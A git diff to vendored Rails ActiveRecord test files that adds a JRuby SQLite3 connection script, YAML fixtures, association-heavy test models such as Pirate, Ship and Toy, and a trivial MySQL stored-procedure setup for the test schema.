+++ b/vendor/rails/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb
@@ -0,0 +1,25 @@
+print "Using SQLite3 via JRuby, activerecord-jdbc-adapter and activerecord-jdbcsqlite3-adapter\n"
+require_dependency 'models/course'
+require 'logger'
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+class SqliteError < StandardError
+end
+
+BASE_DIR = FIXTURES_ROOT
+sqlite_test_db  = "#{BASE_DIR}/fixture_database.sqlite3"
+sqlite_test_db2 = "#{BASE_DIR}/fixture_database_2.sqlite3"
+
+def make_connection(clazz, db_file)
+  ActiveRecord::Base.configurations = { clazz.name => { :adapter => 'jdbcsqlite3', :database => db_file, :timeout => 5000 } }
+  unless File.exist?(db_file)
+    puts "SQLite3 database not found at #{db_file}. Rebuilding it."
+    sqlite_command = %Q{sqlite3 "#{db_file}" "create table a (a integer); drop table a;"}
+    puts "Executing '#{sqlite_command}'"
+    raise SqliteError.new("Seems that there is no sqlite3 executable available") unless system(sqlite_command)
+  end
+  clazz.establish_connection(clazz.name)
+end
+
+make_connection(ActiveRecord::Base, sqlite_test_db)
+make_connection(Course, sqlite_test_db2)
diff --git a/vendor/rails/activerecord/test/fixtures/accounts.yml b/vendor/rails/activerecord/test/fixtures/accounts.yml
index b2d01919..32583042 100644
--- a/vendor/rails/activerecord/test/fixtures/accounts.yml
+++ b/vendor/rails/activerecord/test/fixtures/accounts.yml
@@ -2,6 +2,7 @@ signals37:
   id: 1
   firm_id: 1
   credit_limit: 50
+  firm_name: 37signals
 
 unknown:
   id: 2
diff --git a/vendor/rails/activerecord/test/fixtures/fixture_database.sqlite b/vendor/rails/activerecord/test/fixtures/fixture_database.sqlite
new file mode 100644
index 00000000..d7b6b958
Binary files /dev/null and b/vendor/rails/activerecord/test/fixtures/fixture_database.sqlite differ
diff --git a/vendor/rails/activerecord/test/fixtures/fixture_database.sqlite3 b/vendor/rails/activerecord/test/fixtures/fixture_database.sqlite3
index 6b844591..b37a02e4 100644
Binary files a/vendor/rails/activerecord/test/fixtures/fixture_database.sqlite3 and b/vendor/rails/activerecord/test/fixtures/fixture_database.sqlite3 differ
diff --git a/vendor/rails/activerecord/test/fixtures/fixture_database_2.sqlite b/vendor/rails/activerecord/test/fixtures/fixture_database_2.sqlite
new file mode 100644
index 00000000..fdd88691
Binary files /dev/null and b/vendor/rails/activerecord/test/fixtures/fixture_database_2.sqlite differ
diff --git a/vendor/rails/activerecord/test/fixtures/fixture_database_2.sqlite3 b/vendor/rails/activerecord/test/fixtures/fixture_database_2.sqlite3
index 40955d2a..d37fea47 100644
Binary files a/vendor/rails/activerecord/test/fixtures/fixture_database_2.sqlite3 and b/vendor/rails/activerecord/test/fixtures/fixture_database_2.sqlite3 differ
diff --git a/vendor/rails/activerecord/test/fixtures/member_types.yml b/vendor/rails/activerecord/test/fixtures/member_types.yml
new file mode 100644
index 00000000..797a5743
--- /dev/null
+++ b/vendor/rails/activerecord/test/fixtures/member_types.yml
@@ -0,0 +1,6 @@
+founding:
+  id: 1
+  name: Founding
+provisional:
+  id: 2
+  name: Provisional
diff --git a/vendor/rails/activerecord/test/fixtures/members.yml b/vendor/rails/activerecord/test/fixtures/members.yml
index 67a6cc45..6db945e6 100644
--- a/vendor/rails/activerecord/test/fixtures/members.yml
+++ b/vendor/rails/activerecord/test/fixtures/members.yml
@@ -1,4 +1,6 @@
 groucho:
   name: Groucho Marx
+  member_type_id: 1
 some_other_guy:
-  name: Englebert Humperdink
\ No newline at end of file
+  name: Englebert Humperdink
+  member_type_id: 2
diff --git a/vendor/rails/activerecord/test/fixtures/people.yml b/vendor/rails/activerecord/test/fixtures/people.yml
index d5a69e56..3babb1fe 100644
--- a/vendor/rails/activerecord/test/fixtures/people.yml
+++ b/vendor/rails/activerecord/test/fixtures/people.yml
@@ -1,6 +1,15 @@
 michael:
   id: 1
   first_name: Michael
+  primary_contact_id: 2
+  gender: M
 david:
   id: 2
-  first_name: David
\ No newline at end of file
+  first_name: David
+  primary_contact_id: 3
+  gender: M
+susan:
+  id: 3
+  first_name: Susan
+  primary_contact_id: 2
+  gender: F
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/posts.yml b/vendor/rails/activerecord/test/fixtures/posts.yml
index 92e5d190..f8174931 100644
--- a/vendor/rails/activerecord/test/fixtures/posts.yml
+++ b/vendor/rails/activerecord/test/fixtures/posts.yml
@@ -4,6 +4,7 @@ welcome:
   title: Welcome to the weblog
   body: Such a lovely day
   comments_count: 2
+  taggings_count: 1
   type: Post
 
 thinking:
@@ -11,6 +12,8 @@ thinking:
   author_id: 1
   title: So I was thinking
   body: Like I hopefully always am
+  comments_count: 1
+  taggings_count: 1
   type: SpecialPost
 
 authorless:
diff --git a/vendor/rails/activerecord/test/fixtures/toys.yml b/vendor/rails/activerecord/test/fixtures/toys.yml
new file mode 100644
index 00000000..037e335e
--- /dev/null
+++ b/vendor/rails/activerecord/test/fixtures/toys.yml
@@ -0,0 +1,4 @@
+bone:
+  toy_id: 1
+  name: Bone
+  pet_id: 1
diff --git a/vendor/rails/activerecord/test/models/author.rb b/vendor/rails/activerecord/test/models/author.rb
index e5b19ff9..f264f980 100644
--- a/vendor/rails/activerecord/test/models/author.rb
+++ b/vendor/rails/activerecord/test/models/author.rb
@@ -1,6 +1,8 @@
 class Author < ActiveRecord::Base
   has_many :posts
+  has_many :very_special_comments, :through => :posts
   has_many :posts_with_comments, :include => :comments, :class_name => "Post"
+  has_many :popular_grouped_posts, :include => :comments, :class_name => "Post", :group => "type", :having => "SUM(comments_count) > 1", :select => "type"
   has_many :posts_with_comments_sorted_by_comment_id, :include => :comments, :class_name => "Post", :order => 'comments.id'
   has_many :posts_sorted_by_id_limited, :class_name => "Post", :order => 'posts.id', :limit => 1
   has_many :posts_with_categories, :include => :categories, :class_name => "Post"
@@ -24,6 +26,8 @@ class Author < ActiveRecord::Base
   has_many :comments_with_order_and_conditions, :through => :posts, :source => :comments, :order => 'comments.body', :conditions => "comments.body like 'Thank%'"
   has_many :comments_with_include, :through => :posts, :source => :comments, :include => :post
 
+  has_many :thinking_posts, :class_name => 'Post', :conditions => { :title => 'So I was thinking' }, :dependent => :delete_all
+  has_many :welcome_posts,  :class_name => 'Post', :conditions => { :title => 'Welcome to the weblog' }
 
   has_many :comments_desc, :through => :posts, :source => :comments, :order => 'comments.id DESC'
   has_many :limited_comments, :through => :posts, :source => :comments, :limit => 1
@@ -84,6 +88,8 @@ class Author < ActiveRecord::Base
   has_many :tags,     :through => :posts # through has_many :through
   has_many :post_categories, :through => :posts, :source => :categories
 
+  has_one :essay, :primary_key => :name, :as => :writer
+
   belongs_to :author_address, :dependent => :destroy
   belongs_to :author_address_extra, :dependent => :delete, :class_name => "AuthorAddress"
 
diff --git a/vendor/rails/activerecord/test/models/bird.rb b/vendor/rails/activerecord/test/models/bird.rb
new file mode 100644
index 00000000..341d2eef
--- /dev/null
+++ b/vendor/rails/activerecord/test/models/bird.rb
@@ -0,0 +1,3 @@
+class Bird < ActiveRecord::Base
+  validates_presence_of :name
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/category.rb b/vendor/rails/activerecord/test/models/category.rb
index 4e9d247a..5efce6aa 100644
--- a/vendor/rails/activerecord/test/models/category.rb
+++ b/vendor/rails/activerecord/test/models/category.rb
@@ -14,6 +14,7 @@ class Category < ActiveRecord::Base
                           :class_name => 'Post',
                           :conditions => { :title => 'Yet Another Testing Title' }
 
+  has_and_belongs_to_many :popular_grouped_posts, :class_name => "Post", :group => "posts.type", :having => "sum(comments.post_id) > 2", :include => :comments
   has_and_belongs_to_many :posts_gruoped_by_title, :class_name => "Post", :group => "title", :select => "title"
 
   def self.what_are_you
diff --git a/vendor/rails/activerecord/test/models/comment.rb b/vendor/rails/activerecord/test/models/comment.rb
index f7f07c10..399dea9f 100644
--- a/vendor/rails/activerecord/test/models/comment.rb
+++ b/vendor/rails/activerecord/test/models/comment.rb
@@ -1,6 +1,10 @@
 class Comment < ActiveRecord::Base
   named_scope :containing_the_letter_e, :conditions => "comments.body LIKE '%e%'"
-  
+  named_scope :for_first_post, :conditions => { :post_id => 1 }
+  named_scope :for_first_author,
+              :joins => :post,
+              :conditions => { "posts.author_id" => 1 }
+
   belongs_to :post, :counter_cache => true
 
   def self.what_are_you
diff --git a/vendor/rails/activerecord/test/models/company.rb b/vendor/rails/activerecord/test/models/company.rb
index 0e3fafa3..de1a1cc5 100644
--- a/vendor/rails/activerecord/test/models/company.rb
+++ b/vendor/rails/activerecord/test/models/company.rb
@@ -9,6 +9,8 @@ class Company < AbstractCompany
   validates_presence_of :name
 
   has_one :dummy_account, :foreign_key => "firm_id", :class_name => "Account"
+  has_many :contracts
+  has_many :developers, :through => :contracts
 
   def arbitrary_method
     "I am Jack's profound disappointment"
@@ -37,6 +39,7 @@ class Firm < Company
   has_many :clients, :order => "id", :dependent => :destroy, :counter_sql =>
       "SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
       "AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )"
+  has_many :unsorted_clients, :class_name => "Client"
   has_many :clients_sorted_desc, :class_name => "Client", :order => "id DESC"
   has_many :clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id"
   has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
@@ -61,6 +64,8 @@ class Firm < Company
   has_many :readonly_clients, :class_name => 'Client', :readonly => true
   has_many :clients_using_primary_key, :class_name => 'Client',
            :primary_key => 'name', :foreign_key => 'firm_name'
+  has_many :clients_using_primary_key_with_delete_all, :class_name => 'Client',
+           :primary_key => 'name', :foreign_key => 'firm_name', :dependent => :delete_all
   has_many :clients_grouped_by_firm_id, :class_name => "Client", :group => "firm_id", :select => "firm_id"
   has_many :clients_grouped_by_name, :class_name => "Client", :group => "name", :select => "name"
 
@@ -69,6 +74,14 @@ class Firm < Company
   has_one :account_with_select, :foreign_key => "firm_id", :select => "id, firm_id", :class_name=>'Account'
   has_one :readonly_account, :foreign_key => "firm_id", :class_name => "Account", :readonly => true
   has_one :account_using_primary_key, :primary_key => "firm_id", :class_name => "Account"
+  has_one :account_using_foreign_and_primary_keys, :foreign_key => "firm_name", :primary_key => "name", :class_name => "Account"
+  has_one :deletable_account, :foreign_key => "firm_id", :class_name => "Account", :dependent => :delete
+  
+  has_one :account_limit_500_with_hash_conditions, :foreign_key => "firm_id", :class_name => "Account", :conditions => { :credit_limit => 500 }
+
+  has_one :unautosaved_account, :foreign_key => "firm_id", :class_name => 'Account', :autosave => false
+  has_many :accounts
+  has_many :unautosaved_accounts, :foreign_key => "firm_id", :class_name => 'Account', :autosave => false
 end
 
 class DependentFirm < Company
@@ -76,18 +89,13 @@ class DependentFirm < Company
   has_many :companies, :foreign_key => 'client_of', :order => "id", :dependent => :nullify
 end
 
-class ExclusivelyDependentFirm < Company
-  has_one :account, :foreign_key => "firm_id", :dependent => :delete
-  has_many :dependent_sanitized_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => "name = 'BigShot Inc.'"
-  has_many :dependent_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => ["name = ?", 'BigShot Inc.']
-end
-
 class Client < Company
   belongs_to :firm, :foreign_key => "client_of"
   belongs_to :firm_with_basic_id, :class_name => "Firm", :foreign_key => "firm_id"
   belongs_to :firm_with_select, :class_name => "Firm", :foreign_key => "firm_id", :select => "id"
   belongs_to :firm_with_other_name, :class_name => "Firm", :foreign_key => "client_of"
   belongs_to :firm_with_condition, :class_name => "Firm", :foreign_key => "client_of", :conditions => ["1 = ?", 1]
+  belongs_to :firm_with_primary_key, :class_name => "Firm", :primary_key => "name", :foreign_key => "firm_name"
   belongs_to :readonly_firm, :class_name => "Firm", :foreign_key => "firm_id", :readonly => true
 
   # Record destruction so we can test whether firm.clients.clear has
@@ -122,6 +130,12 @@ class Client < Company
   end
 end
 
+class ExclusivelyDependentFirm < Company
+  has_one :account, :foreign_key => "firm_id", :dependent => :delete
+  has_many :dependent_sanitized_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => "name = 'BigShot Inc.'"
+  has_many :dependent_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => ["name = ?", 'BigShot Inc.']
+  has_many :dependent_hash_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => {:name => 'BigShot Inc.'}
+end
 
 class SpecialClient < Client
 end
@@ -131,6 +145,7 @@ end
 
 class Account < ActiveRecord::Base
   belongs_to :firm
+  belongs_to :unautosaved_firm, :foreign_key => "firm_id", :class_name => "Firm", :autosave => false
 
   def self.destroyed_account_ids
     @destroyed_account_ids ||= Hash.new { |h,k| h[k] = [] }
diff --git a/vendor/rails/activerecord/test/models/company_in_module.rb b/vendor/rails/activerecord/test/models/company_in_module.rb
index 7f02403d..e0715259 100644
--- a/vendor/rails/activerecord/test/models/company_in_module.rb
+++ b/vendor/rails/activerecord/test/models/company_in_module.rb
@@ -11,7 +11,7 @@ module MyApplication
       has_many :clients_like_ms, :conditions => "name = 'Microsoft'", :class_name => "Client", :order => "id"
       has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
 
-      has_one :account, :dependent => :destroy
+      has_one :account, :class_name => 'MyApplication::Billing::Account', :dependent => :destroy
     end
 
     class Client < Company
diff --git a/vendor/rails/activerecord/test/models/contract.rb b/vendor/rails/activerecord/test/models/contract.rb
new file mode 100644
index 00000000..5235bfa3
--- /dev/null
+++ b/vendor/rails/activerecord/test/models/contract.rb
@@ -0,0 +1,5 @@
+class Contract < ActiveRecord::Base
+  belongs_to :company
+  belongs_to :developer
+end
+
diff --git a/vendor/rails/activerecord/test/models/developer.rb b/vendor/rails/activerecord/test/models/developer.rb
index c08476f7..05897033 100644
--- a/vendor/rails/activerecord/test/models/developer.rb
+++ b/vendor/rails/activerecord/test/models/developer.rb
@@ -77,3 +77,25 @@ class DeveloperWithBeforeDestroyRaise < ActiveRecord::Base
     raise if projects.empty?
   end
 end
+
+class DeveloperOrderedBySalary < ActiveRecord::Base
+  self.table_name = 'developers'
+  default_scope :order => 'salary DESC'
+  named_scope :by_name, :order => 'name DESC'
+
+  def self.all_ordered_by_name
+    with_scope(:find => { :order => 'name DESC' }) do
+      find(:all)
+    end
+  end
+end
+
+class DeveloperCalledDavid < ActiveRecord::Base
+  self.table_name = 'developers'
+  default_scope :conditions => "name = 'David'"
+end
+
+class DeveloperCalledJamis < ActiveRecord::Base
+  self.table_name = 'developers'
+  default_scope :conditions => { :name => 'Jamis' }
+end
diff --git a/vendor/rails/activerecord/test/models/essay.rb b/vendor/rails/activerecord/test/models/essay.rb
new file mode 100644
index 00000000..6c28f5e4
--- /dev/null
+++ b/vendor/rails/activerecord/test/models/essay.rb
@@ -0,0 +1,3 @@
+class Essay < ActiveRecord::Base
+  belongs_to :writer, :primary_key => :name, :polymorphic => true
+end
diff --git a/vendor/rails/activerecord/test/models/event.rb b/vendor/rails/activerecord/test/models/event.rb
new file mode 100644
index 00000000..99fa0fee
--- /dev/null
+++ b/vendor/rails/activerecord/test/models/event.rb
@@ -0,0 +1,3 @@
+class Event < ActiveRecord::Base
+  validates_uniqueness_of :title
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/member.rb b/vendor/rails/activerecord/test/models/member.rb
index 77a37abb..255fb569 100644
--- a/vendor/rails/activerecord/test/models/member.rb
+++ b/vendor/rails/activerecord/test/models/member.rb
@@ -8,4 +8,5 @@ class Member < ActiveRecord::Base
   has_one :sponsor_club, :through => :sponsor
   has_one :member_detail
   has_one :organization, :through => :member_detail
+  belongs_to :member_type
 end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/member_detail.rb b/vendor/rails/activerecord/test/models/member_detail.rb
index e7314545..94f59e57 100644
--- a/vendor/rails/activerecord/test/models/member_detail.rb
+++ b/vendor/rails/activerecord/test/models/member_detail.rb
@@ -1,4 +1,5 @@
 class MemberDetail < ActiveRecord::Base
   belongs_to :member
   belongs_to :organization
+  has_one :member_type, :through => :member
 end
diff --git a/vendor/rails/activerecord/test/models/member_type.rb b/vendor/rails/activerecord/test/models/member_type.rb
new file mode 100644
index 00000000..a13561c7
--- /dev/null
+++ b/vendor/rails/activerecord/test/models/member_type.rb
@@ -0,0 +1,3 @@
+class MemberType < ActiveRecord::Base
+  has_many :members
+end
diff --git a/vendor/rails/activerecord/test/models/organization.rb b/vendor/rails/activerecord/test/models/organization.rb
index d79d5037..c8572616 100644
--- a/vendor/rails/activerecord/test/models/organization.rb
+++ b/vendor/rails/activerecord/test/models/organization.rb
@@ -1,4 +1,6 @@
 class Organization < ActiveRecord::Base
   has_many :member_details
   has_many :members, :through => :member_details
+
+  named_scope :clubs, { :from => 'clubs' }
 end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/owner.rb b/vendor/rails/activerecord/test/models/owner.rb
index dbaf2ce6..5760b991 100644
--- a/vendor/rails/activerecord/test/models/owner.rb
+++ b/vendor/rails/activerecord/test/models/owner.rb
@@ -1,4 +1,5 @@
 class Owner < ActiveRecord::Base
   set_primary_key :owner_id
   has_many :pets
-end
\ No newline at end of file
+  has_many :toys, :through => :pets
+end
diff --git a/vendor/rails/activerecord/test/models/parrot.rb b/vendor/rails/activerecord/test/models/parrot.rb
index b9431fd1..4a7ed526 100644
--- a/vendor/rails/activerecord/test/models/parrot.rb
+++ b/vendor/rails/activerecord/test/models/parrot.rb
@@ -4,6 +4,8 @@ class Parrot < ActiveRecord::Base
   has_and_belongs_to_many :treasures
   has_many :loots, :as => :looter
   alias_attribute :title, :name
+
+  validates_presence_of :name
 end
 
 class LiveParrot < Parrot
diff --git a/vendor/rails/activerecord/test/models/person.rb b/vendor/rails/activerecord/test/models/person.rb
index 430d0b38..ec2f684a 100644
--- a/vendor/rails/activerecord/test/models/person.rb
+++ b/vendor/rails/activerecord/test/models/person.rb
@@ -7,4 +7,10 @@ class Person < ActiveRecord::Base
   has_many :jobs, :through => :references
   has_one :favourite_reference, :class_name => 'Reference', :conditions => ['favourite=?', true]
   has_many :posts_with_comments_sorted_by_comment_id, :through => :readers, :source => :post, :include => :comments, :order => 'comments.id'
+
+  belongs_to :primary_contact, :class_name => 'Person'
+  has_many :agents, :class_name => 'Person', :foreign_key => 'primary_contact_id'
+
+  named_scope :males, :conditions => { :gender => 'M' }
+  named_scope :females, :conditions => { :gender => 'F' }
 end
diff --git a/vendor/rails/activerecord/test/models/pet.rb b/vendor/rails/activerecord/test/models/pet.rb
index 889ce46f..a8bf94dd 100644
--- a/vendor/rails/activerecord/test/models/pet.rb
+++ b/vendor/rails/activerecord/test/models/pet.rb
@@ -1,4 +1,5 @@
 class Pet < ActiveRecord::Base
   set_primary_key :pet_id
-  belongs_to :owner
-end
\ No newline at end of file
+  belongs_to :owner, :touch => true
+  has_many :toys
+end
diff --git a/vendor/rails/activerecord/test/models/pirate.rb b/vendor/rails/activerecord/test/models/pirate.rb
index 51c8183d..09d736b9 100644
--- a/vendor/rails/activerecord/test/models/pirate.rb
+++ b/vendor/rails/activerecord/test/models/pirate.rb
@@ -1,9 +1,70 @@
 class Pirate < ActiveRecord::Base
-  belongs_to :parrot
-  has_and_belongs_to_many :parrots
-  has_many :treasures, :as => :looter
+  belongs_to :parrot, :validate => true
+  belongs_to :non_validated_parrot, :class_name => 'Parrot'
+  has_and_belongs_to_many :parrots, :validate => true
+  has_and_belongs_to_many :non_validated_parrots, :class_name => 'Parrot'
+  has_and_belongs_to_many :parrots_with_method_callbacks, :class_name => "Parrot",
+    :before_add    => :log_before_add,
+    :after_add     => :log_after_add,
+    :before_remove => :log_before_remove,
+    :after_remove  => :log_after_remove
+  has_and_belongs_to_many :parrots_with_proc_callbacks, :class_name => "Parrot",
+    :before_add    => proc {|p,pa| p.ship_log << "before_adding_proc_parrot_#{pa.id || '<new>'}"},
+    :after_add     => proc {|p,pa| p.ship_log << "after_adding_proc_parrot_#{pa.id || '<new>'}"},
+    :before_remove => proc {|p,pa| p.ship_log << "before_removing_proc_parrot_#{pa.id}"},
+    :after_remove  => proc {|p,pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}"}
 
+  has_many :treasures, :as => :looter
   has_many :treasure_estimates, :through => :treasures, :source => :price_estimates
 
+  # These both have :autosave enabled because accepts_nested_attributes_for is used on them.
+  has_one :ship
+  has_one :non_validated_ship, :class_name => 'Ship'
+  has_many :birds
+  has_many :birds_with_method_callbacks, :class_name => "Bird",
+    :before_add    => :log_before_add,
+    :after_add     => :log_after_add,
+    :before_remove => :log_before_remove,
+    :after_remove  => :log_after_remove
+  has_many :birds_with_proc_callbacks, :class_name => "Bird",
+    :before_add     => proc {|p,b| p.ship_log << "before_adding_proc_bird_#{b.id || '<new>'}"},
+    :after_add      => proc {|p,b| p.ship_log << "after_adding_proc_bird_#{b.id || '<new>'}"},
+    :before_remove  => proc {|p,b| p.ship_log << "before_removing_proc_bird_#{b.id}"},
+    :after_remove   => proc {|p,b| p.ship_log << "after_removing_proc_bird_#{b.id}"}
+
+  accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+  accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+  accepts_nested_attributes_for :parrots_with_method_callbacks, :parrots_with_proc_callbacks,
+    :birds_with_method_callbacks, :birds_with_proc_callbacks, :allow_destroy => true
+
   validates_presence_of :catchphrase
+
+  def ship_log
+    @ship_log ||= []
+  end
+
+  def reject_empty_ships_on_create(attributes)
+    attributes.delete('_reject_me_if_new').present? && new_record?
+  end
+
+  private
+    def log_before_add(record)
+      log(record, "before_adding_method")
+    end
+
+    def log_after_add(record)
+      log(record, "after_adding_method")
+    end
+
+    def log_before_remove(record)
+      log(record, "before_removing_method")
+    end
+
+    def log_after_remove(record)
+      log(record, "after_removing_method")
+    end
+
+    def log(record, callback)
+      ship_log << "#{callback}_#{record.class.name.downcase}_#{record.id || '<new>'}"
+    end
 end
diff --git a/vendor/rails/activerecord/test/models/post.rb b/vendor/rails/activerecord/test/models/post.rb
index e0d8be67..374e536a 100644
--- a/vendor/rails/activerecord/test/models/post.rb
+++ b/vendor/rails/activerecord/test/models/post.rb
@@ -1,5 +1,7 @@
 class Post < ActiveRecord::Base
   named_scope :containing_the_letter_a, :conditions => "body LIKE '%a%'"
+  named_scope :ranked_by_comments, :order => "comments_count DESC"
+  named_scope :limit, lambda {|limit| {:limit => limit} }
   named_scope :with_authors_at_address, lambda { |address| {
       :conditions => [ 'authors.author_address_id = ?', address.id ],
       :joins => 'JOIN authors ON authors.id = posts.author_id'
@@ -17,6 +19,12 @@ class Post < ActiveRecord::Base
 
   has_one :last_comment, :class_name => 'Comment', :order => 'id desc'
 
+  named_scope :with_special_comments, :joins => :comments, :conditions => {:comments => {:type => 'SpecialComment'} }
+  named_scope :with_very_special_comments, :joins => :comments, :conditions => {:comments => {:type => 'VerySpecialComment'} }
+  named_scope :with_post, lambda {|post_id|
+    { :joins => :comments, :conditions => {:comments => {:post_id => post_id} } }
+  }
+
   has_many   :comments, :order => "body" do
     def find_most_recent
       find(:first, :order => "id DESC")
@@ -62,6 +70,10 @@ class Post < ActiveRecord::Base
               :before_remove => lambda {|owner, reader| log(:removed, :before, reader.first_name) },
               :after_remove  => lambda {|owner, reader| log(:removed, :after,  reader.first_name) }
 
+  def self.top(limit)
+    ranked_by_comments.limit(limit)
+  end
+
   def self.reset_log
     @log = []
   end
diff --git a/vendor/rails/activerecord/test/models/project.rb b/vendor/rails/activerecord/test/models/project.rb
index 44c692b5..f25b2ddf 100644
--- a/vendor/rails/activerecord/test/models/project.rb
+++ b/vendor/rails/activerecord/test/models/project.rb
@@ -13,6 +13,7 @@ class Project < ActiveRecord::Base
                             :after_add => Proc.new {|o, r| o.developers_log << "after_adding#{r.id || '<new>'}"},
                             :before_remove => Proc.new {|o, r| o.developers_log << "before_removing#{r.id}"},
                             :after_remove => Proc.new {|o, r| o.developers_log << "after_removing#{r.id}"}
+  has_and_belongs_to_many :well_payed_salary_groups, :class_name => "Developer", :group => "developers.salary", :having => "SUM(salary) > 10000", :select => "SUM(salary) as salary"
 
   attr_accessor :developers_log
 
diff --git a/vendor/rails/activerecord/test/models/reply.rb b/vendor/rails/activerecord/test/models/reply.rb
index 812bc1f5..4063785f 100644
--- a/vendor/rails/activerecord/test/models/reply.rb
+++ b/vendor/rails/activerecord/test/models/reply.rb
@@ -4,12 +4,13 @@ class Reply < Topic
   named_scope :base
 
   belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true
+  belongs_to :topic_with_primary_key, :class_name => "Topic", :primary_key => "title", :foreign_key => "parent_title", :counter_cache => "replies_count"
   has_many :replies, :class_name => "SillyReply", :dependent => :destroy, :foreign_key => "parent_id"
 
   validate :errors_on_empty_content
   validate_on_create :title_is_wrong_create
 
-  attr_accessible :title, :author_name, :author_email_address, :written_on, :content, :last_read
+  attr_accessible :title, :author_name, :author_email_address, :written_on, :content, :last_read, :parent_title
 
   def validate
     errors.add("title", "Empty")   unless attribute_present? "title"
@@ -37,3 +38,9 @@ end
 class SillyReply < Reply
   belongs_to :reply, :foreign_key => "parent_id", :counter_cache => :replies_count
 end
+
+module Web
+  class Reply < Web::Topic
+    belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true, :class_name => 'Web::Topic'
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/ship.rb b/vendor/rails/activerecord/test/models/ship.rb
index 05b09fc1..06759d64 100644
--- a/vendor/rails/activerecord/test/models/ship.rb
+++ b/vendor/rails/activerecord/test/models/ship.rb
@@ -1,3 +1,10 @@
 class Ship < ActiveRecord::Base
   self.record_timestamps = false
-end
\ No newline at end of file
+
+  belongs_to :pirate
+  has_many :parts, :class_name => 'ShipPart', :autosave => true
+
+  accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+
+  validates_presence_of :name
+end
diff --git a/vendor/rails/activerecord/test/models/ship_part.rb b/vendor/rails/activerecord/test/models/ship_part.rb
new file mode 100644
index 00000000..0a606db2
--- /dev/null
+++ b/vendor/rails/activerecord/test/models/ship_part.rb
@@ -0,0 +1,5 @@
+class ShipPart < ActiveRecord::Base
+  belongs_to :ship
+
+  validates_presence_of :name
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/topic.rb b/vendor/rails/activerecord/test/models/topic.rb
index 39ca1bf4..9594dc30 100644
--- a/vendor/rails/activerecord/test/models/topic.rb
+++ b/vendor/rails/activerecord/test/models/topic.rb
@@ -1,9 +1,13 @@
 class Topic < ActiveRecord::Base
   named_scope :base
   named_scope :written_before, lambda { |time|
-    { :conditions => ['written_on < ?', time] }
+    if time
+      { :conditions => ['written_on < ?', time] }
+    end
   }
   named_scope :approved, :conditions => {:approved => true}
+  named_scope :rejected, :conditions => {:approved => false}
+
   named_scope :by_lifo, :conditions => {:author_name => 'lifo'}
   
   named_scope :approved_as_hash_condition, :conditions => {:topics => {:approved => true}}
@@ -33,6 +37,7 @@ class Topic < ActiveRecord::Base
   named_scope :multiple_extensions, :extend => [MultipleExtensionTwo, MultipleExtensionOne]
 
   has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
+  has_many :replies_with_primary_key, :class_name => "Reply", :dependent => :destroy, :primary_key => "title", :foreign_key => "parent_title"
   serialize :content
 
   before_create  :default_written_on
@@ -67,3 +72,9 @@ class Topic < ActiveRecord::Base
       end
     end
 end
+
+module Web
+  class Topic < ActiveRecord::Base
+    has_many :replies, :dependent => :destroy, :foreign_key => "parent_id", :class_name => 'Web::Reply'
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/toy.rb b/vendor/rails/activerecord/test/models/toy.rb
new file mode 100644
index 00000000..0e68ba57
--- /dev/null
+++ b/vendor/rails/activerecord/test/models/toy.rb
@@ -0,0 +1,6 @@
+class Toy < ActiveRecord::Base
+  set_primary_key :toy_id
+  belongs_to :pet
+
+  named_scope :with_name, lambda { |name| {:conditions => {:name => name}} }
+end
diff --git a/vendor/rails/activerecord/test/models/treasure.rb b/vendor/rails/activerecord/test/models/treasure.rb
index 97c690c1..2a98e74f 100644
--- a/vendor/rails/activerecord/test/models/treasure.rb
+++ b/vendor/rails/activerecord/test/models/treasure.rb
@@ -3,4 +3,6 @@ class Treasure < ActiveRecord::Base
   belongs_to :looter, :polymorphic => true
 
   has_many :price_estimates, :as => :estimate_of
+
+  accepts_nested_attributes_for :looter
 end
diff --git a/vendor/rails/activerecord/test/schema/mysql_specific_schema.rb b/vendor/rails/activerecord/test/schema/mysql_specific_schema.rb
index f44c33ae..c78d99f4 100644
--- a/vendor/rails/activerecord/test/schema/mysql_specific_schema.rb
+++ b/vendor/rails/activerecord/test/schema/mysql_specific_schema.rb
@@ -9,4 +9,16 @@ ActiveRecord::Schema.define do
     t.text   :medium_text, :limit => 16777215
     t.text   :long_text,   :limit => 2147483647
   end
+
+  ActiveRecord::Base.connection.execute <<-SQL
+DROP PROCEDURE IF EXISTS ten;
+SQL
+
+  ActiveRecord::Base.connection.execute <<-SQL
+CREATE PROCEDURE ten() SQL SECURITY INVOKER
+BEGIN
+	select 10;
+END
+SQL
+
 end
